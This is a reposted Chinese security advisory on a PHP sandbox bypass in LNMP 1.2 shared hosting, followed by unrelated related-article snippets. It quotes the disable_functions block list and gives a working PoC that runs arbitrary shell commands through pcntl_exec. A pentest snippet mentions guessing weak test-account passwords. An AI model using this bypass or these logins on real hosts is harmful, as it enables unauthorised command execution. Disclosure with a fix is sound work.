转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)

LNMP虚拟主机PHP沙盒绕过/命令执行

lnmp更新1.2版本,很多东西都升级了,很棒。不过还是发现一个BUG。

LNMP是一款linux下nginx、php、mysql一键安装包。

下载:http://soft.vpser.net/lnmp/lnmp1.2.tar.gz

执行一个命令即可简单安装。

漏洞详情

LNMP是这样配置沙盒的:

  1. disable_functions,配置在 include/php.sh中:

其值为:


1

passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket
  1. open_basedir,在创建虚拟主机的时候配置:

如上图,方法是在虚拟主机跟目录里,新建一个.user.ini文件,并通过这个ini设置open_basedir,并用chattr +i赋予其不可修改的权限。

但如果php可以执行系统命令的话,open_basedir也没什么意义了。

我们看看编译php的选项:

可见开启了PHP默认不开启的pcntl:–enable-pcntl。

我们看前面,pcntl_exec是没有被禁用了。不知道为什么,这个版本把pcntl_exec的禁用给去掉了,这就导致了虚拟主机的沙盒绕过、命令执行。

给出pcntl_exec执行命令的方法。

pcntl_exec是类似windows下的shell.application。需要我们先写一个脚本文件,然后用其执行。

POC如下:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17


<?php

header("Content-Type: text/plain");

$cmd="/tmp/exec";

@unlink($cmd);

@unlink("/tmp/output");

$c = "#!/usr/bin/env bash\nuname -a > /tmp/output\n";

file_put_contents($cmd, $c);

chmod($cmd, 0777);

switch (pcntl_fork()) {

case 0:

$ret = pcntl_exec($cmd);

exit("case 0");

default:

echo "case 1";

break;

}

写一个脚本,执行命令后把结果输出到/tmp/output。

然后用pcntl_fork(),fork出一个子进程,在子进程里调用pcntl_exec执行这个脚本。否则在父进程里执行pcntl_exec后会导致进程一直处在等待状态,最后导致502。

然后查看output,echo file_get_contents("/tmp/output");

执行任意命令沙盒bypass,虚拟主机也就没什么意义了。

解决方案

禁用pcntl_exec,或者不要–enable-pcntl

原文地址:https://www.cnblogs.com/studyskill/p/8946971.html

时间: 2024-08-23 17:45:41

转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)的相关文章

lnmp 虚拟主机配置及重写

lnmp安装与调试,请看 http://www.cnblogs.com/lin3615/p/4376224.html 虚拟主机的配置编辑nginx配置文件 nginx.conf此为主配置文件 vim nginx.conf #user nobody; # user 主模块指令,指令nginx worker 运行用户和用户组(user xxxuser xxxgroup) , # 默认由nobody运行 #定义进程数,一般与cpu核心数一样 worker_processes 1; #error_log

浏览器沙盒是什么

是什么 沙盒(sandbox),另称沙箱,是一种按照安全策略限制程序行为的执行环境.“沙盒”技术的实践运用流程是:让疑似病毒文件的可疑行为在虚拟的“沙盒”里充分运行,“沙盒”会记下它的每一个动作:当疑似病毒充分暴露了其病毒属性后,“沙盒”就会执行“回滚”机制:将病毒的痕迹和动作抹去,恢复系统到正常状态. PS:sandbox并不是sandboxie,sandboxie是一种专业沙盒软件. 安全策略 1. 不能运行任何本地的的可执行程序. 2. 不能从本地计算机文件系统中读取任何信息,也不能往本地

某公司ssl-vpn沙盒逃逸之旅

[0x01] 入口:nmap 扫描c段发现x.x.x.2开放不少端口 https(443)访问发现是个ssl-vpn登录口 按照经验,一般这种系统往往会存在测试帐号,比如test.Guest等等.手工试一下:test::****,然后就进去了. [0x02] 发现:进去后,对各个功能进行了熟悉和测试,发现了一个erp软件.打开后需要登录,测试了几个常用测试口令,进去了. [0x03] 新发现:这个ssl-vpn同时提供了远程使用word.excel.ppt等等功能,想到利用宏执行命令(最后反思这

【iOS开发必收藏】详解iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程!【2012-12-11日更新获取”产品付费数量等于0的问题”】

转的别人的 看到很多童鞋问到,为什么每次都返回数量等于0?? 其实有童鞋已经找到原因了,原因是你在 ItunesConnect 里的 “Contracts, Tax, and Banking”没有完成设置账户信息. 确定 ItunesConnect 里 “Contracts, Tax, and Banking”的状态,如下图所示,即可: 这里也是由于Himi疏忽的原因没有说明,这里先给童鞋们带来的麻烦,致以歉意. //——2012-6-25日更新iap恢复 看到很多童鞋说让Himi讲解如何恢复i

虚拟主机

1.虚拟主机的概念 一台真实的主机(独立)价格:5万以上.. 将一个真实的主机,划分成若干个"小空间",对外"出租". 每一个"小空间"都具有网站的完整功能(WWW服务,FTP服务,邮箱服务,数据服务等) 每一个"小空间"都可以绑定一个域名,一般看不出来,是独立的服务器,还是虚拟主机 2.NameVirtualHost 我们配置的虚拟主机,是基于域名的虚拟主机.换句话说: 一个IP地址,可以绑定多个域名的情况 其实还有一种基于

python:沙盒(virtualenv)

当电脑需要使用多个版本的python时,可以使用沙盒:或者使用docker: virtualenv是Python自带的,通过pip安装的 [[email protected] public]# cd jinjie_python/ [[email protected] jinjie_python]# virtualenv test1 Using base prefix '/usr/local' New python executable in /root/public/jinjie_python/

LAMP之禁止默认虚拟主机

在httpd-vhosts.conf中,虚拟主机的配置为 <VirtualHost *:80>     DocumentRoot "/data/www"     ServerName www.123.com </VirtualHost> 当我们输入www123.com和自己主机的IP时都是能访问的,在虚拟主机配置文件中加入 <VirtualHost *:80>     DocumentRoot "/tmp/123"     Ser

&lt;转&gt;iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程!

原文地址:http://blog.csdn.net/xiaominghimi/article/details/6937097 //——2012-12-11日更新   获取"产品付费数量等于0这个问题"的原因 看到很多童鞋问到,为什么每次都返回数量等于0?? 其实有童鞋已经找到原因了,原因是你在 ItunesConnect 里的 “Contracts, Tax, and Banking”没有完成设置账户信息. 确定 ItunesConnect 里 “Contracts, Tax, and

详解iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程

Himi  原创, 欢迎转载,转载请在明显处注明! 谢谢. 原文地址:http://blog.csdn.net/xiaominghimi/article/details/6937097 //——2012-12-11日更新   获取"产品付费数量等于0这个问题"的原因 看到很多童鞋问到,为什么每次都返回数量等于0?? 其实有童鞋已经找到原因了,原因是你在 ItunesConnect 里的 “Contracts, Tax, and Banking”没有完成设置账户信息. 确定 Itunes